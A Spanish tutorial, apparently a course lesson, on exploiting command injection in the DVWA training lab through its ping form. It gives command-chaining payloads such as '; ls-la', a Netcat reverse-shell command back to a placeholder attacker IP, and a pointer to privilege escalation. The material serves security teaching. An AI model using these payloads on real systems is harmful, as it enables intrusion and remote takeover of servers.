Aprende a identificar y explotar de forma responsable la vulnerabilidad de Command Injection en DVWA. Verás cómo un formulario de ping permite ejecutar comandos del sistema, cómo concatenar comandos con operadores de Linux y cómo iniciar una shell remota con Netcat para luego pensar en escalada de privilegios.
¿Qué es command injection y cómo detectarlo en DVWA?
La idea clave: si la app toma tu entrada y la pasa a la consola de Linux sin validación estricta, puedes inyectar comandos. En el ejemplo, el formulario “Ping a un dispositivo” acepta IP o dominio, y devuelve una salida que “se ve” como consola de Linux. Eso sugiere que detrás se ejecuta algo como ping en el servidor.
¿Qué indica la salida tipo Linux en el ping?
- Permite ingresar IP o dominio. Esto revela que no limita a formato IP estricto.
- La salida es similar a
ping en Linux. Indica ejecución de comandos del sistema.
- El comando probable incluye contador
-c 4. En Linux sería:
- La lógica del formulario en PHP sugiere que se construye y ejecuta un comando base
ping con tu entrada.
¿Cómo concatenar comandos en Linux desde un input vulnerable?
Si el input llega al sistema, puedes concatenar comandos tras el ping. En Linux, estos operadores son comunes:
;: ejecuta el siguiente comando siempre.
&&: ejecuta el siguiente comando solo si el anterior tuvo éxito.
&: lanza el comando en segundo plano.
Ejemplos de payloads mostrados:
www.google.com; ls-la
www.google.com && ls-la
- Así, el servidor primero corre el
ping implícito y luego ls-la.
- Ver la salida de
ls-la en la respuesta confirma la inyección.
¿Qué evidencia confirma la inyección de comandos?
- La respuesta muestra listados de archivos tras enviar
; ls-la.
- El
ping base sigue ejecutándose desde PHP, pero el resultado visible puede ser el de ls-la.
- El doble ampersand
&& funciona igual en este contexto, validando la concatenación.
¿Cómo usar Netcat para una shell remota?
Con la inyección confirmada, puedes intentar abrir una reverse shell con Netcat. La idea: el servidor víctima se conecta a tu IP y ejecuta -e /bin/bash para darte una shell interactiva.
nc TU_IP 5000 -e /bin/bash
- Netcat está presente en muchos sistemas Linux. Aumenta la probabilidad de éxito.
- Al establecerse la conexión, controlas el equipo de forma remota.
- Paso natural luego: escalada de privilegios para ampliar control.
¿Qué seguirás aprendiendo sobre inyecciones SQL?
El siguiente tema conecta con otra familia de vulnerabilidades: inyecciones SQL. Aprenderás abordajes manuales y automatizados para explotarlas con criterio y método.
¿Tú qué otros comandos ejecutarías primero tras confirmar la inyección? Comparte tus ideas y técnicas en los comentarios.